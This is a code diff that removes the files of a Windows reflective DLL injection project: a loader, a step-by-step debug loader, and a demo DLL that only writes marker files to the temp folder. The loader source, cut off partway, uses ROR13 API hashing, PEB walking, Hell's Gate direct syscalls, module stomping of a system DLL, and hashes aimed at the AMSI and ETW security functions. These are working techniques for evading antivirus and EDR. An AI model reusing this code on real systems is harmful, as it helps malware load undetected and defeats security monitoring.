.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
.VirtualAddress;
|
||||
if (!expRva)
|
||||
return NULL;
|
||||
|
||||
DWORD expOff = rva_to_off(buf, nt, expRva);
|
||||
if (!expOff)
|
||||
return NULL;
|
||||
|
||||
const IMAGE_EXPORT_DIRECTORY *exp = (const IMAGE_EXPORT_DIRECTORY *)(buf + expOff);
|
||||
|
||||
DWORD namesOff = rva_to_off(buf, nt, exp->AddressOfNames);
|
||||
DWORD ordsOff = rva_to_off(buf, nt, exp->AddressOfNameOrdinals);
|
||||
DWORD funcsOff = rva_to_off(buf, nt, exp->AddressOfFunctions);
|
||||
if (!namesOff || !ordsOff || !funcsOff)
|
||||
return NULL;
|
||||
|
||||
DWORD *names = (DWORD *)(buf + namesOff);
|
||||
WORD *ords = (WORD *)(buf + ordsOff);
|
||||
DWORD *funcs = (DWORD *)(buf + funcsOff);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++)
|
||||
{
|
||||
DWORD nameOff = rva_to_off(buf, nt, names[i]);
|
||||
if (!nameOff)
|
||||
continue;
|
||||
const char *n = (const char *)(buf + nameOff);
|
||||
if (strcmp(n, name) == 0)
|
||||
{
|
||||
DWORD fnRva = funcs[ords[i]];
|
||||
DWORD fnOff = rva_to_off(buf, nt, fnRva);
|
||||
return fnOff ? (LPVOID)(mem + fnOff) : NULL;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// read the raw DLL file into memory
|
||||
static uint8_t *read_file(const char *path, size_t *out_size)
|
||||
{
|
||||
HANDLE hf = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hf == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
DWORD sz = GetFileSize(hf, NULL);
|
||||
if (sz == INVALID_FILE_SIZE || sz == 0)
|
||||
{
|
||||
CloseHandle(hf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz);
|
||||
if (!b)
|
||||
{
|
||||
CloseHandle(hf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD rd;
|
||||
if (!ReadFile(hf, b, sz, &rd, NULL) || rd != sz)
|
||||
{
|
||||
HeapFree(GetProcessHeap(), 0, b);
|
||||
CloseHandle(hf);
|
||||
return NULL;
|
||||
}
|
||||
CloseHandle(hf);
|
||||
*out_size = sz;
|
||||
return b;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char dll_path[MAX_PATH];
|
||||
|
||||
if (argc > 1)
|
||||
{
|
||||
strncpy(dll_path, argv[1], MAX_PATH - 1);
|
||||
dll_path[MAX_PATH - 1] = '\0';
|
||||
}
|
||||
else
|
||||
{
|
||||
char exe_path[MAX_PATH];
|
||||
DWORD len = GetModuleFileNameA(NULL, exe_path, MAX_PATH);
|
||||
if (len == 0 || len >= MAX_PATH)
|
||||
return 1;
|
||||
|
||||
// build default path in the same directory as loader.exe
|
||||
char *sep = strrchr(exe_path, '\\');
|
||||
if (sep)
|
||||
*(sep + 1) = '\0';
|
||||
else
|
||||
exe_path[0] = '\0';
|
||||
|
||||
snprintf(dll_path, MAX_PATH, "%sexample.dll", exe_path);
|
||||
}
|
||||
|
||||
printf("[*] reading %s\n", dll_path);
|
||||
size_t sz = 0;
|
||||
uint8_t *buf = read_file(dll_path, &sz);
|
||||
if (!buf)
|
||||
{
|
||||
fprintf(stderr, "[!] read failed (error %lu)\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
printf("[+] %zu bytes read\n", sz);
|
||||
|
||||
// allocate RWX memory for the raw DLL image
|
||||
uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, sz,
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
if (!mem)
|
||||
{
|
||||
fprintf(stderr, "[!] VirtualAlloc failed (%lu)\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
return 1;
|
||||
}
|
||||
memcpy(mem, buf, sz);
|
||||
printf("[+] raw DLL at %p (RWX, %zu bytes)\n", (void *)mem, sz);
|
||||
|
||||
// locate ReflectiveLoader in the raw image and call it
|
||||
typedef ULONG_PTR(WINAPI *RL_t)(LPVOID);
|
||||
RL_t fn = (RL_t)find_export_in_raw(buf, sz, mem, "ReflectiveLoader");
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
|
||||
if (!fn)
|
||||
{
|
||||
fprintf(stderr, "[!] ReflectiveLoader export not found\n");
|
||||
VirtualFree(mem, 0, MEM_RELEASE);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] ReflectiveLoader at %p\n", (void *)fn);
|
||||
|
||||
printf("[*] calling ReflectiveLoader...\n");
|
||||
ULONG_PTR base = fn(mem);
|
||||
if (!base)
|
||||
{
|
||||
fprintf(stderr, "[!] ReflectiveLoader returned 0\n");
|
||||
VirtualFree(mem, 0, MEM_RELEASE);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] DLL mapped at 0x%llx\n", (unsigned long long)base);
|
||||
|
||||
// read debug telemetry written into mem[] by ReflectiveLoader before section copy
|
||||
typedef struct { uint16_t ssn_alloc; uint16_t ssn_protect; uint32_t alloc_method; } RL_DBG;
|
||||
RL_DBG *dbg = (RL_DBG *)find_export_in_raw(mem, sz, mem, "_rl_dbg");
|
||||
if (dbg)
|
||||
{
|
||||
const char *method = dbg->alloc_method == 1 ? "Hell's Gate (NtAllocateVirtualMemory syscall)"
|
||||
: dbg->alloc_method == 2 ? "VirtualAlloc (fallback)"
|
||||
: "unknown";
|
||||
printf("[*] alloc method : %s\n", method);
|
||||
if (dbg->ssn_alloc != 0xFFFF)
|
||||
printf("[*] ssn NtAllocateVirtualMemory : 0x%04x\n", dbg->ssn_alloc);
|
||||
else
|
||||
printf("[*] ssn NtAllocateVirtualMemory : not found (ntdll hooked?)\n");
|
||||
if (dbg->ssn_protect != 0xFFFF)
|
||||
printf("[*] ssn NtProtectVirtualMemory : 0x%04x\n", dbg->ssn_protect);
|
||||
else
|
||||
printf("[*] ssn NtProtectVirtualMemory : not found (ntdll hooked?)\n");
|
||||
}
|
||||
|
||||
// check if the marker file was created
|
||||
char marker[MAX_PATH];
|
||||
DWORD n = GetEnvironmentVariableA("TEMP", marker, MAX_PATH - 20);
|
||||
if (n && n < MAX_PATH - 20)
|
||||
{
|
||||
// DllMain marker
|
||||
const char *s = "\\reflect_demo.txt";
|
||||
int i = 0;
|
||||
for (i = 0; s[i]; i++) marker[n + i] = s[i];
|
||||
marker[n + i] = '\0';
|
||||
printf("[%c] DllMain marker : %s\n",
|
||||
GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker);
|
||||
|
||||
// TLS callback marker
|
||||
s = "\\reflect_tls.txt";
|
||||
for (i = 0; s[i]; i++) marker[n + i] = s[i];
|
||||
marker[n + i] = '\0';
|
||||
printf("[%c] TLS callback : %s\n",
|
||||
GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker);
|
||||
}
|
||||
|
||||
VirtualFree(mem, 0, MEM_RELEASE);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
// Exported entry point for the reflective DLL.
|
||||
// lpParameter is the raw image base in the target process.
|
||||
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
|
||||
@@ -1,283 +0,0 @@
|
||||
// debug_loader.c: a verbose step-by-step version of ReflectiveLoader.
|
||||
// This program runs with normal IAT resolution and prints each stage.
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// case-insensitive compare for ascii strings
|
||||
static int _eq(const char *a, const char *b)
|
||||
{
|
||||
while (*a && *b && (*a | 0x20) == (*b | 0x20))
|
||||
{
|
||||
a++;
|
||||
b++;
|
||||
}
|
||||
return !*a && !*b;
|
||||
}
|
||||
|
||||
// compare wide string and ascii string for n characters
|
||||
static int _weq(const WCHAR *w, const char *s, int n)
|
||||
{
|
||||
for (int i = 0; i < n; i++)
|
||||
{
|
||||
if (!w[i] && !s[i])
|
||||
return 1;
|
||||
if (!w[i] || !s[i])
|
||||
return 0;
|
||||
if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20))
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
static uint8_t *buf = NULL;
|
||||
static size_t bufsz = 0;
|
||||
|
||||
// convert a raw RVA into a file offset inside the raw buffer
|
||||
static DWORD rva2off(DWORD rva)
|
||||
{
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
|
||||
IMAGE_SECTION_HEADER *s = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++)
|
||||
{
|
||||
if (rva >= s->VirtualAddress && rva < s->VirtualAddress + s->SizeOfRawData)
|
||||
return rva - s->VirtualAddress + s->PointerToRawData;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// read an entire file into memory
|
||||
static uint8_t *read_file(const char *path, size_t *out)
|
||||
{
|
||||
HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
DWORD sz = GetFileSize(h, NULL);
|
||||
uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz);
|
||||
DWORD rd;
|
||||
ReadFile(h, b, sz, &rd, NULL);
|
||||
CloseHandle(h);
|
||||
*out = sz;
|
||||
return b;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *path = argc > 1 ? argv[1] : "build\\example.dll";
|
||||
|
||||
printf("[*] reading %s\n", path);
|
||||
buf = read_file(path, &bufsz);
|
||||
if (!buf)
|
||||
{
|
||||
fprintf(stderr, "[!] read failed %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
printf("[+] %zu bytes\n", bufsz);
|
||||
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
|
||||
printf("[+] ImageBase=0x%llx SizeOfImage=0x%lx SizeOfHeaders=0x%lx\n",
|
||||
(unsigned long long)nt->OptionalHeader.ImageBase,
|
||||
(unsigned long)nt->OptionalHeader.SizeOfImage,
|
||||
(unsigned long)nt->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// STEP 1: find ReflectiveLoader export in the raw file
|
||||
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
DWORD expOff = rva2off(expRva);
|
||||
if (!expOff)
|
||||
{
|
||||
fprintf(stderr, "[!] no export dir\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(buf + expOff);
|
||||
DWORD *names = (DWORD *)(buf + rva2off(exp->AddressOfNames));
|
||||
WORD *ords = (WORD *)(buf + rva2off(exp->AddressOfNameOrdinals));
|
||||
DWORD *funcs = (DWORD *)(buf + rva2off(exp->AddressOfFunctions));
|
||||
|
||||
DWORD rl_rva = 0;
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++)
|
||||
{
|
||||
const char *n = (const char *)(buf + rva2off(names[i]));
|
||||
if (strcmp(n, "ReflectiveLoader") == 0)
|
||||
{
|
||||
rl_rva = funcs[ords[i]];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD rl_off = rva2off(rl_rva);
|
||||
printf("[+] ReflectiveLoader: RVA=0x%lx rawOff=0x%lx\n", (unsigned long)rl_rva, (unsigned long)rl_off);
|
||||
|
||||
// STEP 2: copy the raw DLL into RWX memory
|
||||
uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, bufsz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(mem, buf, bufsz);
|
||||
printf("[+] raw copy at %p\n", (void *)mem);
|
||||
|
||||
// STEP 3: print section info
|
||||
printf("[*] sections:\n");
|
||||
IMAGE_NT_HEADERS *mnt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew);
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(mnt);
|
||||
for (WORD i = 0; i < mnt->FileHeader.NumberOfSections; i++, sec++)
|
||||
{
|
||||
char name[9] = {0};
|
||||
memcpy(name, sec->Name, 8);
|
||||
printf(" [%d] %-8s VA=0x%08lx raw=0x%08lx sz=0x%lx\n", i, name,
|
||||
(unsigned long)sec->VirtualAddress,
|
||||
(unsigned long)sec->PointerToRawData,
|
||||
(unsigned long)sec->SizeOfRawData);
|
||||
}
|
||||
|
||||
// STEP 4: simulate finding the module base from the function address
|
||||
ULONG_PTR fn_addr = (ULONG_PTR)(mem + rl_off);
|
||||
ULONG_PTR scan = fn_addr & ~0xFFFUL;
|
||||
int found_mz = 0;
|
||||
ULONG_PTR found_base = 0;
|
||||
for (int i = 0; i < 4096; i++, scan -= 0x1000)
|
||||
{
|
||||
if (!IsBadReadPtr((void *)scan, 2) && *(WORD *)scan == 0x5A4D)
|
||||
{
|
||||
IMAGE_DOS_HEADER *d = (IMAGE_DOS_HEADER *)scan;
|
||||
if ((ULONG_PTR)d->e_lfanew <= 0x400)
|
||||
{
|
||||
IMAGE_NT_HEADERS *n2 = (IMAGE_NT_HEADERS *)(scan + d->e_lfanew);
|
||||
if (n2->Signature == 0x00004550 && n2->OptionalHeader.SizeOfImage > 0)
|
||||
{
|
||||
found_base = scan;
|
||||
found_mz = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("[+] _rl_find_own_base scan: found=%d base=0x%llx expected=0x%llx %s\n",
|
||||
found_mz,
|
||||
(unsigned long long)found_base,
|
||||
(unsigned long long)(uintptr_t)mem,
|
||||
(found_base == (ULONG_PTR)mem) ? "OK" : "MISMATCH");
|
||||
|
||||
// STEP 5: allocate memory for the mapped image
|
||||
DWORD imgSz = nt->OptionalHeader.SizeOfImage;
|
||||
uint8_t *dst = (uint8_t *)VirtualAlloc(NULL, imgSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
printf("[+] dst alloc: %p (0x%lx bytes)\n", (void *)dst, (unsigned long)imgSz);
|
||||
|
||||
// STEP 6: copy headers from the raw file to the mapped image
|
||||
memcpy(dst, mem, nt->OptionalHeader.SizeOfHeaders);
|
||||
printf("[+] headers copied\n");
|
||||
|
||||
// STEP 7: copy each section from raw file to its virtual address
|
||||
IMAGE_NT_HEADERS *snt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew);
|
||||
sec = IMAGE_FIRST_SECTION(snt);
|
||||
for (WORD i = 0; i < snt->FileHeader.NumberOfSections; i++, sec++)
|
||||
{
|
||||
if (!sec->PointerToRawData || !sec->SizeOfRawData)
|
||||
continue;
|
||||
uint8_t *ss = mem + sec->PointerToRawData;
|
||||
uint8_t *dd = dst + sec->VirtualAddress;
|
||||
if (sec->VirtualAddress + sec->SizeOfRawData > imgSz)
|
||||
{
|
||||
printf("[!] sec[%d] out of bounds!\n", i);
|
||||
continue;
|
||||
}
|
||||
memcpy(dd, ss, sec->SizeOfRawData);
|
||||
}
|
||||
printf("[+] sections copied\n");
|
||||
|
||||
// STEP 8: apply relocations if needed
|
||||
IMAGE_NT_HEADERS *dnt = (IMAGE_NT_HEADERS *)(dst + dos->e_lfanew);
|
||||
LONG_PTR delta = (LONG_PTR)((uintptr_t)dst - nt->OptionalHeader.ImageBase);
|
||||
printf("[*] reloc delta=0x%llx\n", (long long)delta);
|
||||
{
|
||||
DWORD rv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
DWORD rs = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
printf("[*] reloc dir RVA=0x%lx sz=0x%lx\n", (unsigned long)rv, (unsigned long)rs);
|
||||
if (delta && rv && rs)
|
||||
{
|
||||
IMAGE_BASE_RELOCATION *r = (IMAGE_BASE_RELOCATION *)(dst + rv);
|
||||
int cnt = 0;
|
||||
while (r->VirtualAddress && r->SizeOfBlock)
|
||||
{
|
||||
ULONG_PTR pg = (ULONG_PTR)dst + r->VirtualAddress;
|
||||
WORD *e = (WORD *)((uint8_t *)r + sizeof(*r));
|
||||
DWORD n = (r->SizeOfBlock - sizeof(*r)) / sizeof(WORD);
|
||||
for (DWORD j = 0; j < n; j++)
|
||||
{
|
||||
int t = e[j] >> 12;
|
||||
DWORD o = e[j] & 0xFFF;
|
||||
if (t == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
*(ULONG_PTR *)(pg + o) += (ULONG_PTR)delta;
|
||||
cnt++;
|
||||
}
|
||||
if (t == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*(DWORD *)(pg + o) += (DWORD)delta;
|
||||
cnt++;
|
||||
}
|
||||
}
|
||||
r = (IMAGE_BASE_RELOCATION *)((uint8_t *)r + r->SizeOfBlock);
|
||||
}
|
||||
printf("[+] %d relocations applied\n", cnt);
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 9: resolve imports for the mapped image
|
||||
{
|
||||
DWORD iv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
printf("[*] import dir RVA=0x%lx\n", (unsigned long)iv);
|
||||
if (iv)
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR *imp = (IMAGE_IMPORT_DESCRIPTOR *)(dst + iv);
|
||||
for (; imp->Name; imp++)
|
||||
{
|
||||
char *dn = (char *)(dst + imp->Name);
|
||||
HMODULE h = LoadLibraryA(dn);
|
||||
printf(" [%s] -> %p\n", dn, (void *)h);
|
||||
if (!h)
|
||||
continue;
|
||||
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
|
||||
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk ? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
|
||||
for (; ont->u1.AddressOfData; ont++, iat++)
|
||||
{
|
||||
FARPROC p;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
|
||||
p = GetProcAddress(h, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
|
||||
else
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME *ibn = (IMAGE_IMPORT_BY_NAME *)(dst + (DWORD)ont->u1.AddressOfData);
|
||||
p = GetProcAddress(h, (LPCSTR)ibn->Name);
|
||||
}
|
||||
iat->u1.Function = (ULONG_PTR)p;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("[+] imports resolved\n");
|
||||
|
||||
// STEP 10: flush cache and call the DLL entry point
|
||||
FlushInstructionCache(GetCurrentProcess(), dst, imgSz);
|
||||
typedef BOOL(WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
|
||||
DllMain_t fm = (DllMain_t)(dst + dnt->OptionalHeader.AddressOfEntryPoint);
|
||||
printf("[*] calling DllMain at %p (OEP RVA=0x%lx)\n", (void *)fm,
|
||||
(unsigned long)dnt->OptionalHeader.AddressOfEntryPoint);
|
||||
BOOL ok = fm((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
||||
printf("[+] DllMain returned %d\n", (int)ok);
|
||||
}
|
||||
|
||||
/* verify marker */
|
||||
char marker[MAX_PATH];
|
||||
DWORD n=GetEnvironmentVariableA("TEMP",marker,MAX_PATH-20);
|
||||
if(n){const char*s="\\reflect_demo.txt";for(int i=0;s[i];i++)marker[n++]=s[i];marker[n]=0;
|
||||
if(GetFileAttributesA(marker)!=INVALID_FILE_ATTRIBUTES)printf("[+] marker: %s\n",marker);
|
||||
else printf("[-] no marker file\n");}
|
||||
|
||||
VirtualFree(dst,0,MEM_RELEASE);
|
||||
VirtualFree(mem,0,MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(),0,buf);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,75 +0,0 @@
|
||||
// Minimal example DLL for reflective loading.
|
||||
// Build this with reflect.c and export ReflectiveLoader.
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// TLS callback — called by ReflectiveLoader BEFORE DllMain.
|
||||
// Writes %TEMP%\reflect_tls.txt to prove the callback ran.
|
||||
static void NTAPI tls_callback(PVOID DllHandle, DWORD reason, PVOID reserved)
|
||||
{
|
||||
(void)DllHandle;
|
||||
(void)reserved;
|
||||
if (reason != DLL_PROCESS_ATTACH)
|
||||
return;
|
||||
|
||||
OutputDebugStringA("[reflect-dll] TLS callback DLL_PROCESS_ATTACH\n");
|
||||
|
||||
char path[MAX_PATH];
|
||||
DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20);
|
||||
if (n && n < MAX_PATH - 20)
|
||||
{
|
||||
const char *suffix = "\\reflect_tls.txt";
|
||||
for (int i = 0; suffix[i]; i++)
|
||||
path[n++] = suffix[i];
|
||||
path[n] = '\0';
|
||||
HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hf != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
const char msg[] = "TLS callback fired before DllMain\r\n";
|
||||
DWORD w;
|
||||
WriteFile(hf, msg, sizeof(msg) - 1, &w, NULL);
|
||||
CloseHandle(hf);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static __thread volatile int _tls_anchor = 0;
|
||||
__attribute__((section(".CRT$XLB"), used)) static PIMAGE_TLS_CALLBACK _tls_cb_entry = tls_callback;
|
||||
|
||||
__declspec(dllexport)
|
||||
BOOL WINAPI
|
||||
DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved)
|
||||
{
|
||||
(void)hInst;
|
||||
(void)reserved;
|
||||
|
||||
// only perform actions on process attach
|
||||
if (reason == DLL_PROCESS_ATTACH)
|
||||
{
|
||||
DisableThreadLibraryCalls(hInst);
|
||||
|
||||
OutputDebugStringA("[reflect-dll] DllMain DLL_PROCESS_ATTACH loaded reflectively\n");
|
||||
|
||||
char path[MAX_PATH];
|
||||
DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20);
|
||||
if (n && n < MAX_PATH - 20)
|
||||
{
|
||||
const char *suffix = "\\reflect_demo.txt";
|
||||
for (int i = 0; suffix[i]; i++)
|
||||
path[n++] = suffix[i];
|
||||
path[n] = '\0';
|
||||
|
||||
HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hf != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
const char msg[] = "Reflective DLL loaded via ReflectiveLoader()\r\n";
|
||||
DWORD written;
|
||||
WriteFile(hf, msg, sizeof(msg) - 1, &written, NULL);
|
||||
CloseHandle(hf);
|
||||
}
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,520 +0,0 @@
|
||||
#include "reflect.h"
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <intrin.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// forward decl to silence MinGW warning
|
||||
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
// PEB/LDR structs
|
||||
|
||||
typedef struct _RL_LDR_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} RL_LDR_ENTRY;
|
||||
|
||||
typedef struct _RL_PEB_LDR {
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} RL_PEB_LDR;
|
||||
|
||||
typedef struct _RL_PEB {
|
||||
BYTE Reserved[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
RL_PEB_LDR *Ldr;
|
||||
} RL_PEB;
|
||||
|
||||
// fn pointer typedefs
|
||||
|
||||
typedef HMODULE (WINAPI *pLoadLibraryA_t) (LPCSTR);
|
||||
typedef HMODULE (WINAPI *pLoadLibraryExA_t) (LPCSTR, HANDLE, DWORD);
|
||||
typedef FARPROC (WINAPI *pGetProcAddress_t) (HMODULE, LPCSTR);
|
||||
typedef LPVOID (WINAPI *pVirtualAlloc_t) (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *pVirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef BOOL (WINAPI *pFlushInstructionCache_t) (HANDLE, LPCVOID, SIZE_T);
|
||||
typedef HANDLE (WINAPI *pGetCurrentProcess_t) (void);
|
||||
typedef BOOL (WINAPI *pDllMain_t) (HINSTANCE, DWORD, LPVOID);
|
||||
typedef LONG (WINAPI *pNtAllocVm_t) (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
typedef LONG (WINAPI *pNtProtectVm_t) (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
|
||||
typedef BOOLEAN (WINAPI *pRtlAddFunctionTable_t) (PRUNTIME_FUNCTION, DWORD, DWORD64);
|
||||
|
||||
// ROR13+additive hashes - generated by tools/gen_hashes.py
|
||||
// kernel32
|
||||
#define H_LoadLibraryA 0x8A8B4676UL
|
||||
#define H_LoadLibraryExA 0xA5919EE3UL
|
||||
#define H_GetProcAddress 0x1ACAEE7AUL
|
||||
#define H_VirtualAlloc 0x302EBE1CUL
|
||||
#define H_FlushInstructionCache 0xD9303A47UL
|
||||
#define H_GetCurrentProcess 0x1A4B89AAUL
|
||||
// ntdll
|
||||
#define H_NtAllocateVirtualMemory 0x5947FD91UL
|
||||
#define H_NtProtectVirtualMemory 0x1255C05BUL
|
||||
#define H_RtlAddFunctionTable 0xB11A8928UL
|
||||
#define H_EtwEventWrite 0xBE87B7B5UL
|
||||
// amsi.dll
|
||||
#define H_AmsiScanBuffer 0x338E06F6UL
|
||||
|
||||
// stomp target - must have SizeOfImage >= ours
|
||||
#define STOMP_DLL "C:\\Windows\\System32\\clbcatq.dll"
|
||||
|
||||
// debug telemetry, exported
|
||||
typedef struct { WORD ssn_alloc; WORD ssn_protect; DWORD alloc_method; } RL_DBG;
|
||||
#define RL_DBG_HELLSGATE 1u
|
||||
#define RL_DBG_VIRTALLOC 2u
|
||||
__declspec(dllexport) volatile RL_DBG _rl_dbg = {0xFFFF, 0xFFFF, 0};
|
||||
|
||||
// ROR13+additive hash, input uppercased
|
||||
static DWORD _rl_hash(const char *s)
|
||||
{
|
||||
DWORD h = 0;
|
||||
while (*s) {
|
||||
unsigned char c = (unsigned char)*s++;
|
||||
if (c >= 'a') c -= 0x20;
|
||||
h = (h >> 13) | (h << 19); // ROR13
|
||||
h += c;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
// wide vs narrow case-insensitive compare, up to 12 chars
|
||||
static int _rl_weq12(const WCHAR *w, const char *s)
|
||||
{
|
||||
for (int i = 0; i < 12; i++) {
|
||||
if (!w[i] && !s[i]) return 1;
|
||||
if (!w[i] || !s[i]) return 0;
|
||||
if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20)) return 0;
|
||||
}
|
||||
return 1; // full 12-char match (e.g. "kernel32.dll")
|
||||
}
|
||||
|
||||
// walk PEB module list, return kernel32 base
|
||||
static ULONG_PTR _rl_find_kernel32(void)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
|
||||
#else
|
||||
RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
|
||||
#endif
|
||||
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY cur = head->Flink;
|
||||
while (cur != head) {
|
||||
RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
|
||||
if (e->BaseDllName.Length >= 24 && _rl_weq12(e->BaseDllName.Buffer, "kernel32.dll"))
|
||||
return (ULONG_PTR)e->DllBase;
|
||||
cur = cur->Flink;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// walk PEB module list, return ntdll base
|
||||
static ULONG_PTR _rl_find_ntdll(void)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
|
||||
#else
|
||||
RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
|
||||
#endif
|
||||
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY cur = head->Flink;
|
